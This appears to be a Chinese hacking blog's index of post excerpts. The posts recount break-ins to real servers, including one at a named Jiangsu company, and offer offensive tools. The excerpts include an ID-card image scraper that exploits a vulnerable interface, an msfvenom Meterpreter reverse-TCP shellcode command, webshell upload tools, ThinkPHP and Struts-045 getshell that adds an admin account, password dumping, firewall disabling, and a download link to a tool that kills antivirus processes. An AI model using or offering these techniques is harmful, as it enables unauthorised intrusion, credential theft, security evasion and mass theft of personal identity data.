身份证图像采集信息查询工具v1.0
身份证图像采集信息查询工具v1.0关于这个工具很早就想写一个，正好写一个接口查询的工具原理：访问接口，使用正则或者getld获取用户的内容使用io流读写用户图像漏洞调用存在漏洞的接口，进行遍历查询...
烂土豆提权内网遇到credssp加密数据库修正的问题
烂土豆提权内网遇到credssp加密数据库修正的问题烂土豆提权成功后，使用wce读到了管理员的密码，但是连接出现了credssp加密数据库修正经过测试，MSF也连接失败如果win10没有gpedit.msc就进行加载@echo offpushd "%~dp0"dir /b %systemroot%\Windows\servicing\Packages\Microsoft-Windows-GroupPolicy-ClientExtensions-Packag...
windows 2008 r2 meterpreter转发内网实例
windows 2008 r2 meterpreter转发内网实例我们已经讲过了reDuh转发提权内网实例，今天带来一篇使用msf的meterpreter转发实例准备工具:frp内网穿透工具一台VPS linux主机，一台kali的系统，一台window的系统使用msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=XX LPORT=2333 -f c生成一个shellcode，在Microsoft Visual C++进...
提权小试之oday getshell 内网提权windows 2008 r2过程
提权小试之oday getshell 内网提权windows 2008 r2过程本次用到自己写的工具，实现一键上传并getshell通过上传返回getshell即可进入webshell,发现开放很多端口445可以用于ms17010终端3389打开发现是内网环境补丁倒是打了不少，我们试试16032提权发现，直接溢出成功了一切看起来很顺利，接下来就是内网转发了内网转发这里使用reDuh或者msf内置的meterpreter转发服务器支持aspx直接上传，然后输入命令java --...
绕过管理员安全策略再次进入服务器
绕过管理员安全策略再次进入服务器 之前利用MSSQL提权进入了服务器，现在终端连不上，以为是终端关闭了，结果试试开启远程终端，再把防火墙关掉再次连接，成功发现用户密码错误修改下密码即可发现多了一个向日葵360...
一个可以干掉360进程的提权工具
一个可以干掉360进程的提权工具https://pan.baidu.com/s/1lJqFDsCVblFemNHgy31ECAvjfk...
post upload发包工具精简版
post upload发包工具精简版没事挖了一个通用上传oday，就写了这么一个工具工具原理就是向网站发送构造的POST上传数据包，返回一个shell地址...
thankphp 5.0.x getshell提权
thankphp 5.0.x getshell提权遇到一个站，感觉有漏洞正好写个测试工具...
struts-045秒提windows 2016服务器
struts-045秒提windos server 2016服务器有时候只要看到.action index.action . login.action都可以试试struts遇到一台没打补丁的机器，windos server 2016直接添加管理号，进入服务器...
cmdshell降权峰回路转提权window 2003服务器过程
cmdshell降权峰回路转提权window 2003服务器过程好久没写文章了，今天带来一篇cmdshell降权峰回路转提权window 2003服务器过程目标：一家江苏计算机公司架构类型：aspx初步发现有未授权访问但是上传无法返回图片地址发现有fck，无奈走一波可能有解析漏洞直接访问一切都很顺利直接getshell接下来，就是提权了额发现出问题了,asp不能创建对象,上传了一个aspx试试aspx权限应该够大，但是拒绝访问，看下可写目录直接试试传一个cmd.exe可以执行...